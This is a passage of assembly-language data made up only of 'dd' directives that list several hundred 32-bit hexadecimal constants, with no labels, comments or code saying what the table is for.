dd 0FD040416h, 0A6E757h, 5F3D2D77h, 0B935483Dh, 17524DB4h
dd 70FDB8ECh, 88AFC7F5h, 1EA45842h, 0C674D04Ah, 570BAC3Ah
dd 6CD37E10h, 0D6B262F5h, 2D3D1395h, 17326A18h, 0A80E9FBBh
dd 0B4F0476h, 0EF8578FAh, 0A0DBFA82h, 45B979B6h, 0ABD0D748h
dd 1FE0DDDBh, 0D9E0191Eh, 0A44BB517h, 0FB9D9AE8h, 8CDB28E6h
dd 3E90C177h, 96DAFD29h, 72C77F95h, 0DA29B0FBh, 750D41B8h
dd 75DE6CD1h, 0AE64DB7h, 0C2BF4E63h, 0F7592E60h, 0E8761D6h
dd 0B5804573h, 873A2467h, 31DAB0A5h, 53BE006Fh, 5B67FC22h
dd 1E49B371h, 0A0169C21h, 0C56A0DE2h, 8115276Ch, 22ACF22Fh
dd 0BD99F51Fh, 4BA73794h, 2398222h, 0EF61043Dh, 1A4624A6h
dd 0D1497E49h, 979C227Dh, 600B578Ah, 786E512Ch, 372ECA0Bh
dd 0E9710B58h, 0BDDCA9E1h, 2C15F0FBh, 9968A5A9h, 844F6334h
dd 4FCA7FE5h, 113B18BFh, 0ACC5B8C9h, 84C9DEA8h, 263A71AFh
dd 0A37FA8CFh, 0AA4E60C8h, 0AC900F50h, 303F5A2Ch, 0E70A0015h
dd 5BADDC2Ah, 24E5DE52h, 82529825h, 0D264FA26h, 0D65B8433h
dd 0E6D2C1C9h, 0D2BECFC0h, 1648A087h, 0A8BE6D03h, 4887D02Fh
dd 11BB1FE9h, 323F157h, 5A6CD870h, 1BA9AAA6h, 355141F9h
dd 0CA5AB63h, 80860AA4h, 80078ED9h, 3168594Ah, 0C2EC5DB3h
dd 8B48EECh, 4D98577Dh, 0F1FC5065h, 0CF2E451h, 1526EDC0h
dd 7DE8EBC8h, 97D34DA9h, 7347B34Ch, 42B6EFBDh, 0B164C17Ah
dd 294DEEABh, 82C49DBh, 90611C7Bh, 51FEDD81h, 89B71426h
dd 7C47EA70h, 9E6001D7h, 558A0814h, 0D7EC832h, 4379D9F7h
dd 0C5EF349h, 0AE3815DBh, 4F5AFCBDh, 640889A8h, 49555C7Eh
dd 58257B80h, 37888974h, 370105E2h, 624CE792h, 109C89BBh
dd 7F516385h, 8BD375EBh, 9271148Ch, 0D96DFD14h, 0E5414AEDh
dd 1563307Dh, 8E43D890h, 39F6DDE0h, 0CDBFFEFh, 1EA56E36h
dd 0D129167Ah, 7FDA61F4h, 0BDE0EC4Bh, 0A20DD18Ah, 1CDCDC30h
dd 5DD749F2h, 0BDDBB185h, 0F13AB6FEh, 8E5C9167h, 9E00656h
dd 558606F8h, 2D67CB0Ch, 6AF1818Ah, 58C99BBFh, 7B4D59E7h
dd 66237F6Eh, 0C93D8EE7h, 0F5145667h, 0F516B7D2h, 0A3508E0Dh
dd 0A4B4E223h, 5E6AACC7h, 0C8408BADh, 51201E88h, 59277064h
dd 76FBA415h, 0A3365E32h, 0F50A8639h, 0D9598E3h, 0A5E1B1B5h
dd 39D68531h, 70242E57h, 972D6CC2h, 365C6D99h, 7C1586E3h
dd 0AEBB9B5Ch, 0EDF1959Dh, 0F39FBAFAh, 4667B55Eh, 0F519A9DBh
dd 0AF94C600h, 7B429AEDh, 1EDECE5Fh, 4684DC28h, 9AE89087h
dd 98795279h, 189D6019h, 0E31D1987h, 0FEDDA2C6h, 0A1C0DA8Fh
dd 0C484B033h, 0CD1DE9D4h, 3120B35Eh, 898C49A8h, 6BA6B6F7h
dd 68B43685h, 0A876D08Ch, 0E37B664Eh, 1CE3550Eh, 8152CFE0h
dd 0F70D5D71h, 636A34ADh, 8F2624CEh, 702EB452h, 62D0823Eh
dd 0D7B83D80h, 0FCDED6C1h, 0E1170CBh, 6B1AD3FBh, 0F6C046A7h
dd 68181519h, 0D9EFB9FBh, 623C3561h, 0D9A9EB4Eh, 81E0E865h
dd 70203F22h, 7ECC98DAh, 1021EAC1h, 8656EA5Eh, 180299C7h
dd 5B27CE21h, 229D9BD7h
dd 7004232Bh, 0AFF129E1h, 0A23F7147h, 0E7084B8Ch, 62AF78A2h
dd 0C084FDFFh, 449F8E9Dh, 0B00BBF5Eh, 140ECC82h, 75691B94h
dd 487A0850h, 8C71D67h, 0A8589E6Ch, 0E838EEC7h, 183A754Bh
dd 826C6C9Bh, 0AD57265Ch, 170D717Eh, 8E877425h, 0F44EB0D1h
dd 467A629Bh, 0C6CA3A50h, 875A3080h, 4622202Bh, 525ECC54h
dd 894CF428h, 1823B7ABh, 3BFCA375h, 0EEF04792h, 0EE6A6138h
dd 3D808A4Bh, 0D5AAAEDh, 0EBE12627h, 2CC140B1h, 0D4F88B72h
dd 2FFAC2ACh, 91753150h, 8B2EA376h, 6E9B0910h, 8664318Ah
dd 0DE1BF2D0h, 107B17F1h, 5339F05Bh, 0AD20E768h, 39474D7h
dd 8D4BE7B4h, 15D3122Ch, 95358DF3h, 1AE85648h, 0B7A2C15Fh
dd 0D972DE81h, 230D8A84h, 15AF688Ch, 2459EC00h, 164AE4h
dd 7A25466Eh, 0D8EE6F59h, 1AC9855h, 0EDAAFB53h, 162A8F45h
dd 9ED8DC0h, 5AB7F14Fh, 27EFF2Dh, 93661E7Fh, 6273C28Ah
dd 2FABC598h, 5BE8E96Eh, 94653D27h, 0EF550423h, 16A46FD9h
dd 0D86C8531h, 479AF52Eh, 430E908h, 0B6FE0705h, 783F682Dh
dd 98FAA861h, 587440AFh, 28FF2E89h, 8CFD0C4Ch, 0C82B315Ah
dd 0A44B1116h, 0E388E322h, 26BD885Eh, 10EB174Ch, 0AAD623B1h
dd 0F48539A6h, 0ABAC7E3Ch, 4DA250F6h, 3FD30A23h, 609597E5h
dd 821396D9h, 0ED2159A7h, 1035D142h, 0B41117A2h, 735D10E1h
dd 571A0AF9h, 86C017C2h, 2111D55Ah, 0C677A043h, 0C738B0B3h
dd 65805E25h, 0D40FEB2h, 0A0ADCEAh, 0AC2A4EE0h, 5D161F11h
dd 2A47F6E6h, 498ED7DFh, 0EA1D1DDDh, 4C33D36Bh, 2F1FEAC0h
dd 2AE74D55h, 178B82Ch, 0DB677E5Dh, 6CB82517h, 0CA0490DDh
dd 0CB9E7475h, 0EC773CBEh, 0ABD0DD80h, 66ED7545h, 5A3429ABh
dd 0E2F1325Bh, 7E9702AFh, 209DD337h, 0B0F0078Eh, 2AF73648h
dd 9521CC06h, 0CC5E09FBh, 0A707A2F8h, 0C386CCF9h, 0FAB93C71h
dd 51044809h, 44C6D75h, 0C96E60B4h, 0DEC31AC4h, 0F253ACC9h
dd 0FE2B5206h, 0B0E39214h, 0E0E3E557h, 85E8E61Dh, 0BE3B8399h
dd 42E57A4Dh, 77E43D65h, 4D08CB9Fh, 0D081CC3Ah, 329A6253h
dd 12E20682h, 0CC7F548h, 1928F5E4h, 21A1D3CDh, 5A28D596h
dd 0E8CCC7FCh, 0D79AC579h, 9C02E707h, 4614B76Bh, 0F529F42Dh
dd 0A782CC2Eh, 89DD2003h, 0EDCB1AEBh, 6E1A03B5h, 1235BAC3h
dd 164AD3F0h, 844AA946h, 42D55A3Ch, 0B28DF92Ch, 0F523410Eh
dd 0ED3922C3h, 8B8793EBh, 0E0061D1Ah, 6240ABA4h, 0BFB8F757h
dd 116B7168h, 0C0A29784h, 4B8651E0h, 1BB4A80Ah, 4602655Eh
dd 0C26C0AD8h, 0AC5DD18h, 0C0E8369Ch, 4AA7463Dh, 0FC149D42h
dd 2BCB5B28h, 2E4C1854h, 90F21571h, 8EA2672Eh, 12C6E555h
dd 0E145C78Ah, 37DB0CA4h, 133D287Dh, 4BF622E8h, 35BA209Ah
dd 0E9D4F2B2h, 14485380h, 1942574Bh, 0F0CB312Ch, 1FF0BEFBh
dd 4B33F3CDh, 6E81D2B3h, 0C2DAA986h, 0D94495E6h, 25C7A6EBh
dd 0E272C4ACh, 9A71A9FFh, 2D6E3649h, 0FEE9E362h, 0DE660F0Bh
dd 0FFD1367Eh, 0EFF6B9DDh, 0D1042F78h, 26DD4D22h, 0F95D6217h
dd 0CD28AD90h, 0AA44F7CEh, 3176D15Fh, 4265A608h, 6330B1E0h
dd 0B8F65FBCh, 872FE63Ah, 0E55E59CAh, 33E68798h, 6A16FC35h
dd 62E686C0h, 3BFCF292h, 0B575425Ah, 1E81B525h, 0CBF8B17Dh
dd 5BD597BAh, 1A5B828Bh, 0DA3433B9h, 450F36F3h, 608C4224h
dd 16FFE84Bh, 9F105A31h, 0AFC4A08Bh, 0D1A80DFFh, 734D4C88h
dd 5A01C904h, 0E386EDCCh, 0A1374BCCh, 0F0FC645Ch, 87DF6BCBh
dd 0F80557DAh, 61C7F34Ah, 90184BBDh, 0E59E5BA4h, 0AD68F9A3h
dd 0B32AE6E9h, 57093173h, 622B8F25h, 0F6524D71h, 342ED30Fh
dd 9F543C6Fh, 40FDCB8Bh, 22689C9Ah, 0DA1D355Dh, 0E93A74B8h
dd 0B0A6EB04h, 0E3E46130h, 0A4FE3332h, 6198CDC2h, 84883979h
dd 71CA75A1h, 0B9A2B86Fh, 8EE553C7h, 95CD5883h, 0FFB60ACCh
dd 6B005913h, 0DB660BAAh, 0BDE7FD5Dh, 26552C2h, 0E4AC980Fh
dd 0E20B93E3h, 7D0D3A4Eh, 0E779C3EBh, 9FF3C7A9h, 7EB0A26Fh
dd 23FB1192h, 0E51767BFh, 0A8316676h, 0F5C90A3Ch, 0EC11B55Eh
dd 47D2F8Bh, 0C4ACD134h, 3D2CD672h, 3A6152A9h, 50DA37C4h
dd 2B51B307h, 0D25F92C0h, 0E4706AE1h, 0C04220A5h, 0BB176F56h
dd 0D1B83887h, 733E4F9Eh, 0CA0CC4E3h, 55E53F52h, 374BF6E2h
dd 500524E7h, 8320E91Dh, 0C99F2F25h, 0ABA988AAh, 51B44925h
dd 475EE136h, 0E1E83526h, 82ABE267h, 0EBAE9CC6h, 0EE99619Bh
dd 2925FB44h, 8A0C2A49h, 0BE6D5627h, 0DAAE1825h, 0B9A1E925h
dd 9682BA54h, 42590594h, 9972AFCDh, 0E66A69E7h, 2D1761F5h
dd 1CBA0823h, 0CBF5CFC0h, 0A76646F0h, 3700FF51h, 5080BCB4h
dd 0C2649D6Fh, 0F341DDD1h, 45783A2Ch, 263904F3h, 0D3EAF821h
dd 73BB4959h, 0A19AC075h, 0B272D7C9h, 886577F1h, 0B1302BB8h
dd 1128D14Dh, 0DEC4DFDDh, 0F2C7C8BFh, 0DD0EB586h, 0CBC36F0Ch
dd 3CE81A68h, 801F93EBh, 0E1740A7Bh, 9526E69Ch, 32AB337Ah
dd 11B7FF03h, 0F14E3700h, 85B9C706h, 0ED009FE9h, 40067374h
dd 3B783870h, 18718EFEh, 85D5480Dh, 0C294C4C4h, 1FA1F6B7h
dd 0AFA0291Eh, 0F3ABABA5h, 0C1F95F62h, 0ADB7D11Ah, 0C9704091h
dd 1C35CFFBh, 7578ECBFh, 6DBCA0BBh, 9248B089h, 0D8BA4A57h
dd 0E91D6420h, 6E00B67Eh, 0A63F34F4h, 3195698h, 586EEA0h
dd 0D764C12Eh, 0E4A977C0h, 0C057F00h, 892165E2h, 1C742C6Ah
dd 0DB3652EEh, 6E18C986h, 0C67E5A74h, 8909C996h, 5E28FB59h
dd 58867447h, 0F8E7F850h, 9C75B7D9h, 0DD1CE381h, 42FBDCF8h
dd 65F41A1Fh, 4C3359B9h, 54A5E694h, 9C7C42FEh, 1D6C267h
dd 0D4E42578h, 1C58D0DAh, 0C079F824h, 0F26C01FBh, 7F1CFD3Ch
dd 4C1CA7DFh, 7CB337A5h, 0EAD87EBAh, 0E9A1B38Ch, 13E66072h
dd 78F080F0h, 0FB4B70Eh, 81D84AE1h, 418A080h, 4E07D07Ah
dd 0EFEDD110h, 5BEB8234h, 1457E141h, 0B10A9C6Eh, 0E8AEA65Fh
dd 0F1F56E5Eh, 9E503707h, 0E7C9E698h, 0E27A400Ch, 0AF3E84FEh
dd 0CC83BC2Ah, 140AEABCh, 5CA7CDFBh, 50C24336h, 0A67532B4h
dd 47FA6587h, 3C5E6070h, 44FDE1Fh, 99CEDAh, 8F2CB577h
dd 0D8822996h, 0ABCDA7A9h, 4F4BE43Bh, 6188D975h, 427FEF11h
dd 0E5E103DBh, 83D4FAB8h, 684178B1h, 0FD3C2F4Eh, 0E1BEC0F1h
dd 32AEE2DAh, 0F1EDCB27h, 713076AEh, 0ED4E4386h, 9AE16534h
dd 0ADE1D280h, 6F847A20h, 0B9E68A49h, 256CDD1Dh, 0AC7E2160h
dd 0E525BF4Bh, 0EB6A8247h, 37153DEh, 45E9680Ah, 7D5DEDF0h
dd 0FA5C94F4h, 5CF4ABA3h, 0EE83A9DEh, 335840h, 7D35D47h
dd 8BFECF61h, 0CA353CFDh, 0E722B8EEh, 0B55CD212h, 78A5D683h
dd 329604E0h, 5D2D3DD0h, 0BB096C2Dh, 74AA47F2h, 344ACD44h
dd 0B3433359h, 67F0F31Fh, 643AE8CFh, 92C432BFh, 0D89A6467h
dd 0D4E3DB05h, 0B43B3D0Dh, 0F10A0AF4h, 3BDCB58Eh, 0D62A1CF2h
dd 0EAB14B7Fh, 52444796h, 0E6FDB479h, 0B790FF06h, 6028E226h
dd 9321B83Dh, 7F3CA90Eh, 8F8C8171h, 75392E07h, 0DE1BD2AEh
dd 9EEA0EF4h, 9771E191h, 6E3D2689h, 7F5F1343h, 20C0D764h
dd 2288199Dh, 4A9959B6h, 52906AB3h, 0B0AC76DBh, 0E8BEFC08h
dd 1AD20770h, 4094C36Ch, 687AC99Dh, 0B6D300BDh, 85CE7B7Fh
dd 8612C8FBh, 0CF53E4FEh, 56284A5Bh, 0D50F8F71h, 0AA1AA7BAh
dd 73CC7D7Eh, 9A7DCAB7h, 0BBE73713h, 7857B209h, 2B9DC129h
dd 0E6EB6BC1h, 818A52CDh, 3BDED17Fh, 11E603AFh, 0B5C80788h
dd 0D11D8EBAh, 0FD7816C8h
dd 297C9F1Dh, 65B9E479h, 0D222952h, 0FAFF76Eh, 0FF79D5A5h
dd 0B9589ADAh, 2B0CBDAh, 0DF03EDC8h, 0EEF9AA4h, 0E5BC219Bh
dd 72AAA9C7h, 0F912129Eh, 132D4D82h, 0B67D7946h, 2A5194D8h
dd 0DC758DE6h, 95B7A1C4h, 7AE3F47Dh, 112D149Ah, 305F0574h
dd 6F93379Ch, 7FB38917h, 0DF46A3A6h, 1022F5C5h, 55E3FC75h
dd 416BE5E8h, 79F566B6h, 6BD4BCFFh, 81FBFCAEh, 6AA1C675h
dd 69C8D52Ch, 8B666000h, 1DA3F7C4h, 2D01B79Dh, 6DD3A0Dh
dd 7445CEAFh, 958CAD64h, 3CD0650Ch, 0B0E74D99h, 9DE490FFh
dd 88A891CBh, 0F2D0078Ah, 0B3716E11h, 888B7F37h, 2B0DDA0Dh
dd 9B670F7Bh, 2E1D3067h, 0DAE5C967h, 5490A4CAh, 3A42F12Bh
dd 0A3B992FEh, 84BC90DBh, 0F73281E2h, 4C7E2978h, 85CD7BC0h
dd 534E337Fh, 9E8DDB68h, 249E3F98h, 7BCC1DD6h, 0A550CE28h
dd 6210AFAEh, 0FF8E40EFh, 0BCBB0847h, 0A0729F39h, 0D466E50Ch
dd 0DD2B6898h, 60D52A0Ah, 39993C2Fh, 1516D0BFh, 9D691F65h
dd 807C17DBh, 1C0461A4h, 7A3B2426h, 0BC3C68E0h, 0F2C18D02h
dd 0F24BEEEBh, 8BD842Bh, 69F8A04Bh, 0F5ACDE34h, 829F696Eh
dd 6763655Fh, 0CDF88D8Bh, 9DE524CBh, 6440C337h, 7AF4A266h
dd 44C5D9B8h, 61E2B12Fh, 820C2D7h, 0B5D4DB19h, 0C43A7A0Bh
dd 506BA2D8h, 0D5028037h, 0C3431B75h, 0F9BF471Ch, 84058C5Eh
dd 631A7BE9h, 0ED4B91D6h, 1226AEA0h, 90C7ADD4h, 97741A7Eh
dd 0B4AD6445h, 0E4741696h, 0A1E88C60h, 7AB2F904h, 0AD44D3A3h
dd 5456C720h, 0FDD7BB48h, 4E8692EEh, 0BB5AA87Dh, 49CA14D3h
dd 0C7530537h, 0FFE97C8Dh, 0B235BD5Fh, 0C75DB0FBh, 34821519h
dd 0EF78480Ah, 0F2305F02h, 418414E3h, 3F3A9E83h, 0F137715h
dd 94BC02E8h, 0E6935DBFh, 9471EE4Dh, 74A691F9h, 115F13B5h
dd 7D05BDE2h, 0C1FFB84Ch, 933F3CE2h, 4FFDC52h, 0FDAFBF7h
dd 0F7AADD07h, 1AFE13B5h, 8A5665E6h, 496E2F22h, 659FB7BBh
dd 3FF58C2Dh, 639ECE7Fh, 57CD138Dh, 7454C5F1h, 5A692263h
dd 4E01D5D6h, 101A5EA0h, 0AE67B1D8h, 0A40FBAE2h, 89CE7254h
dd 0EF006914h, 8F625FDDh, 2BF966D9h, 5E0BAAE6h, 2407E616h
dd 270651Ch, 0F772B42h, 70E2C3C3h, 7AD95648h, 0AE43CF1Fh
dd 36D019C9h, 734A57B7h, 248841FEh, 4D9AADCAh, 3B32851Dh
dd 79862484h, 0FD919DB2h, 8B2248Ch, 78C01309h, 0E8720286h
dd 0F45A425Ah, 6BF0B4E1h, 0F3346C6Ch, 3D2C9F09h, 0B21D8D3Ch
dd 1B0EBBB9h, 2C5E5BD2h, 76F1AFB6h, 49A87BA6h, 0A9519F7Ch
dd 43870FF5h, 8E29E6D6h, 50321BEEh, 1135B8B9h, 13263832h
dd 9C0ACFF6h, 0A5A66FE5h, 80908975h, 0C9E2A098h, 227E3718h
dd 0E0D87655h, 58DA84DEh, 0CF3403Eh, 0EE5AC108h, 0AA5C6EA1h
dd 0EC289ECCh, 358578A9h, 3398FD0Ch, 59C6DA54h, 0E8E13028h
dd 0A94189ACh, 0D69A24C2h, 4202DF09h, 8E419FCCh, 0F1234BEFh
dd 4F0E5B9Eh, 7245DDE2h, 10AAA0Bh, 0D15B5958h, 0C78F894Bh
dd 23A487F1h, 2CA1AEC2h, 22B4035Eh, 0D6952C9Dh, 10F455D5h
dd 0BE968A34h, 5D1B9400h, 0F3E1752Ch, 1DD567FFh, 8C5638AFh
dd 0FD6EDD7Eh, 526BF8E4h, 108DAEECh, 88AA8BE6h, 0A2BB8983h
dd 0B5BAD90h, 8F57294Bh, 42AE1A28h, 21851C77h, 0A1FAF24Dh
dd 3C926E05h, 0E75E8ACCh, 5B642E0Dh, 66409842h, 64525298h
dd 42B7370Ch, 0E1245B0Eh, 42D856D5h, 406FEBABh, 60A34CB1h
dd 0E3C63421h, 9DADE91Ah, 0F9F2CD07h, 8FD80282h, 202F5267h
dd 68E4D093h, 4E48885Ah, 76149C8Dh, 0DADEB066h, 9C05DB83h
dd 0B030479Ah, 873E847Bh, 9825A7F3h, 0B7401963h, 5B1AD440h
dd 0EF7F0F49h, 82437265h, 233F414Bh, 6796C072h, 2C66B78Ch
dd 0B1464D0Fh, 0B2B3EDD7h, 41528FDFh, 9BA79357h, 8E2C1542h
dd 3E461426h, 638D9303h, 302E46E9h, 0C018CDDEh, 3B333D92h
dd 0AC99FA1Fh, 0C25E27F9h, 0AFC01A83h, 417FEAC1h, 0DD7AD713h
dd 1DAFAEC4h, 1B9EE22Fh, 35DAC2B3h, 471BE4FEh, 0A2EEF656h
dd 0FEE147F6h, 1347159Eh, 0E7F99F43h, 31B8197Bh, 3B0659E9h
dd 0F41E83Eh, 0D68742E5h, 21FA1789h, 73EB988Dh, 0E4AC7A9Dh
dd 9DDA08EEh, 9CB2023Ch, 0AC6E5ECAh, 91C67E69h, 723FA495h
dd 519F86F2h, 8442D787h, 5C6771ADh, 51BB7A29h, 0EA99F80Fh
dd 2F7DB2AEh, 2A886E40h, 0B4AD7B28h, 0ED6E196Ah, 0EB0EE1FEh
dd 94CECB19h, 0B8F86DDBh, 704211BFh, 1664B839h, 0F16E48A4h
dd 3F0CA479h, 6783A96Dh, 0F9D5338Eh, 8319FAADh, 0C87D9A34h
dd 6E387887h, 0F337E0FBh, 533F82ABh, 0CC6F7896h, 42F627C4h
dd 0A55262A1h, 64987FEBh, 0CBD5916Dh, 0B5E90884h, 94D4BC48h
dd 0B3DF2F2Eh, 0A406D280h, 3D3AF35Bh, 72DAAE84h, 39C3242h
dd 0B6AA5B63h, 2E8BE0D7h, 9B9E11EDh, 0ECB88AD8h, 0E148731Fh
dd 21F84C49h, 0F3E3D339h, 503D225Ch, 4B439978h, 0A75C7C13h
dd 0F5682D35h, 6898EF71h, 7EF8D280h, 833B694Dh, 0D07EEA4Ah
dd 0B7F25E6Ah, 174D2A36h, 0ED496AEDh, 20DD7F70h, 78CBB49Ch
dd 844B6B6Eh, 0E7C3CB81h, 0CF171310h, 536F34BBh, 0CE485CA2h
dd 0F2136FEDh, 96341F6Fh, 0D716FF8Ah, 0EFA40735h, 351DE1Ah
dd 44947A36h, 0E1E4C39Eh, 0C4057221h, 0D262B81Ch, 34BA1A80h
dd 7DF62A44h, 955DA404h, 1125D821h, 0A442867h, 38BB5212h
dd 579670A2h, 9EE5D518h, 1E82B9F0h, 0FCBA838Ah, 0ECF569FFh
dd 0D6E9D02h, 450AF53Fh, 930A7E67h, 0FFD6D698h, 0E7154A23h
dd 19E71D75h, 0D9CE5E29h, 8962F339h, 2BC58464h, 6E4F8AAh
dd 0E55D08FCh, 15B1DF92h, 1EA0BBF9h, 0D626F255h, 0F6858F76h
dd 0C6DE1670h, 3034B4FCh, 80D98D23h, 0C325D0D8h, 1FE59F32h
dd 0E85064B5h, 41B25C99h, 0A31F3916h, 0C782A61h, 0D2612803h
dd 0A2ADBF8Ah, 40C9987Fh, 5E2DDEDDh, 0FD9B080Ah, 1DE9EF2Eh
dd 0AB150762h, 638C29A4h, 82CCBDE9h, 2C87FB8Ch, 35B25873h
dd 72837E9Bh, 0C61A0C44h, 37BD5956h, 0FC2D93Eh, 8A23E17Bh
dd 0D585BE13h, 5E5F4336h, 8630A7A2h, 490F6A36h, 0EFF6DC50h
dd 0B903507h, 522DBF44h, 0DCBB803Ch, 694C5AA0h, 820C0FE7h
dd 2D9578E5h, 373ABE51h, 0B8E8BFE0h, 0BDE811BBh, 0D5EE072Bh
dd 76C87A8Fh, 904B1736h, 25E20078h, 145D324Ch, 1F6B9F52h
dd 9D261D48h, 0E4A59EEAh, 2A99B87Fh, 0EE079258h, 632CAC39h
dd 339F84C3h, 40AA38D0h, 5F9BD8ECh, 0A1DCC514h, 6ADCF728h
dd 0B5261BDFh, 2CA5A284h, 3BBC5942h, 23A9CAEEh, 3D119230h
dd 15526B2Dh, 74EADA43h, 6F295B26h, 0CEF9990Eh, 0D7F1EBE3h
dd 0A7173BE6h, 10726978h, 387490Eh, 0AA613BFFh, 72962DF6h
dd 6628A87Ah, 922D7F9h, 1709683Dh, 566402C7h, 0B28CB588h
dd 7D7E89ACh, 8B3D46A7h, 909F2D00h, 771157D6h, 0F9B6226Dh
dd 0E044FC8h, 3766D214h, 0B742E7CFh, 0FEB80588h, 4B19F005h
dd 0C8AD0A91h, 83BD11CCh, 0CC716E5h, 0DEFD9EEEh, 0D8CEBD6Dh
dd 6A8C645h, 0F1372AB8h, 34CDFB88h, 0FA4CEC11h, 33488DA3h
dd 2A1C9D84h, 1FCA71C7h, 48AFDFBFh, 35F3181Bh, 23B1B434h
dd 58A718A5h, 3D1968B3h, 6AF6DA5Ch, 729CB136h, 9908697Eh
dd 4B62CB3Eh, 6C2067B4h, 2A835938h, 77BA0928h, 4BA74D1h
dd 9FB300BEh, 683130Ah, 9B3E11E5h, 4989CAACh, 0FF320FC1h
dd 0FB66360Dh, 0F46CFD39h, 0A5B912CEh, 1757A2A5h, 0F6E3B1D7h
dd 0D118F6D3h, 7A63388Ah, 0FDB949F6h, 0E7969EDBh, 0EC7499EEh
dd 2C15A4DEh, 27E117BAh
dd 0CFC37CF4h, 0DA73B4BEh, 880F019Bh, 0E3255E04h, 1EB5FFFCh
dd 0C9BD4321h, 0B52801D2h, 294AD870h, 0D4972263h, 0A33FD5ADh
dd 12626992h, 2A93FB99h, 823A4D81h, 1CA83F90h, 98F0A755h
dd 3863A4E2h, 8E56EFDFh, 4D9BBF0Eh, 0F5AC7977h, 614423C5h
dd 97983567h, 0CBA2A893h, 0A116478Ch, 65C1FC7Ch, 0F17DA4Fh
dd 0BCBD8CB2h, 0DF6D88C0h, 2C9B7ABCh, 0DBC2726Ah, 0D96B1F64h
dd 0F7D8FA0Ch, 0A799EB74h, 0B892BEEAh, 595E6393h, 3E25DF22h
dd 47866D50h, 0C80A02A8h, 94A1C24Eh, 7983064Eh, 594C27D9h
dd 0D16ED9A1h, 189CA6C4h, 0C90C33C3h, 0C0086B52h, 9C4B4674h
dd 92640BECh, 0A92CF405h, 0F4890879h, 0A5BD6A8Dh, 746331E3h
dd 99CC5F29h, 746E1424h, 0F53E912Ah, 0DDE51A44h, 0DB5BC478h
dd 1D025B76h, 0B520165Fh, 915D0A5Fh, 66AB31D6h, 5586F6D2h
dd 9DCFC6B5h, 4FB72D94h, 6E63E8D3h, 0F5DAA73Ah, 6298787Dh
dd 0C44D70B8h, 4E5EC531h, 5319C8A8h, 0CE3AEF3Eh, 2E6CA9A2h
dd 5E934C9Dh, 0F2FA221Ch, 0E2A2CB0Ah, 0CABBB658h, 1EC3295Bh
dd 6F407EE3h, 10D54F3Dh, 19F1D5F2h, 133B552Dh, 1DA8F582h
dd 0F2D097C5h, 3F1C189h, 3CC70514h, 0E972583Bh, 4EAA9DC6h
dd 10C487DCh, 516E7DE6h, 28529C9Ch, 0BB7073D0h, 9CDED466h
dd 0DDEEB44h, 6480B448h, 0AA7A540Ah, 418FD588h, 232B009h
dd 97C3902Fh, 7C0869E1h, 29C63715h, 38CA8251h, 45DA2C60h
dd 0A245014h, 27555CF2h, 97741296h, 8659E6E1h, 0E7000527h
dd 0EB18F17Eh, 0E42EE6F7h, 40C560ABh, 0A73B9F55h, 64417E8h
dd 21AC7B91h, 0DA9C6F1h, 33B317E0h, 4ED2E2BDh, 0FEB10E4Ch
dd 0EFFD176Eh, 929FC51Ch, 9C659444h, 4ED08993h, 1ACC4534h
dd 0B2F16B8Ah, 8D38F38Ah, 0D1060D89h, 344F71F7h, 4506604Ah
dd 5F9FE4E1h, 68C5161Dh, 0D3A65B3Ch, 0B1FF5D76h, 8720180h
dd 0D77CA96Bh, 0B55E7096h, 9A915494h, 0E697D043h, 74FC8E0Ah
dd 4289B097h, 0DFABEB75h, 0C3E0C67Ah, 5FDAA2F8h, 453322D8h
dd 6DEBD0D9h, 6BF9CBCDh, 0FE8281F2h, 2F34E155h, 619CA102h
dd 0DEACE86Ch, 405396C4h, 76AC8D97h, 23759C58h, 0E0698345h
dd 31A6A6B2h, 56EAE68Bh, 7C3AE8FBh, 3DC523E7h, 67F9AB42h
dd 3529405Fh, 8A8FFA4Bh, 0CED13541h, 529FA66Eh, 0E44DE5D0h
dd 0C507C28Fh, 400EA11Bh, 7221B2FDh, 9B973DDBh, 0CE586223h
dd 0D95C4564h, 2D62C28Fh, 673FBDDCh, 0A9A68012h, 4EC1A21Ah
dd 138C9B86h, 2F9117E0h, 71885E73h, 19B5DCDFh, 9CB12203h
dd 76A7C93Fh, 6D513C3Fh, 61E0CF03h, 3EF487F5h, 6EADF010h
dd 0BAE90546h, 71F3DEF4h, 0CA0E365h, 0C569DF74h, 2CCBFE94h
dd 55FEDC6Dh, 4750AD64h, 66703FF5h, 0F055CAA1h, 0DE4210D3h
dd 4513C55Fh, 264C9913h, 0C91F40Fh, 1B144B9Fh, 0EC4037C4h
dd 6E3A8962h, 7DAFD952h, 348906CFh, 0ADBBED7Fh, 909E2440h
dd 0D951289Eh, 7B9F8B75h, 892D6064h, 63C38F44h, 0DC895786h
dd 12A9308Fh, 0E023114Bh, 686503E0h, 6E46BCF3h, 0EE7C53D8h
dd 0BBA26E6Eh, 1BC45902h, 64CC6E63h, 4D53D28Ah, 0F4300E7h
dd 0C8E21EA4h, 8C24B3EDh, 0FEEE275Ah, 0CA611660h, 0C548AB83h
dd 30AA1D3Ch, 318E8B62h, 3A458482h, 0C3CB8EB9h, 460C1996h
dd 0A758C2F9h, 0D5EC3F8Ch, 4E4A9EDEh, 8D63AA10h, 3875CD75h
dd 7C7D2C5Ch, 13F60EF5h, 4004CADEh, 0FCEA4709h, 6FD4D5A5h
dd 13A42B6h, 0EAC171FAh, 0EE3C0DB2h, 764FDA1Bh, 6D8EDFC7h
dd 5F645401h, 0F4FB141Fh, 0B8748D49h, 0DA1BCE78h, 0E5F20ED3h
dd 0F5F2C8C7h, 0C9DA47C5h, 5B50B3D6h, 77BBCEA7h, 0A5D986AEh
dd 430A88CCh, 1DC2EA63h, 0AACB7781h, 5FF73504h, 393718B6h
dd 0C82C6AA1h, 1067D8F3h, 5074A6C8h, 0E62C7D05h, 0C91CA0Fh
dd 0F596EC10h, 5FA071CFh, 20C17FEBh, 0F4F9FBFh, 523A4346h
dd 85BE0BD1h, 31AE253Ah, 3AE9CDA7h, 2A6EA599h, 27350B3h
dd 0C14C0ACBh, 8A18BEA1h, 59198DE9h, 3AADE5A4h, 0D8BBDDB1h
dd 0DF1ABF20h, 44A1B2B7h, 0ABFC09EAh, 5A240116h, 0AC3FB805h
dd 198096B0h, 1991177Ch, 8B008A55h, 403B3FFEh, 0D933B81Fh
dd 0A9956ABAh, 6F41AFEDh, 6FA069A3h, 805C07EDh, 0F3D8DD34h
dd 7ED7464Ah, 51CFADF5h, 0CE2F71CDh, 9FFF9FDBh, 763403ACh
dd 0DBA3A963h, 9790D2B7h, 8E8E5A86h, 95494361h, 0B2A83F46h
dd 2C37D105h, 3B7CF05Ch, 5F2CDE12h, 2EBDB703h, 4C840AC0h
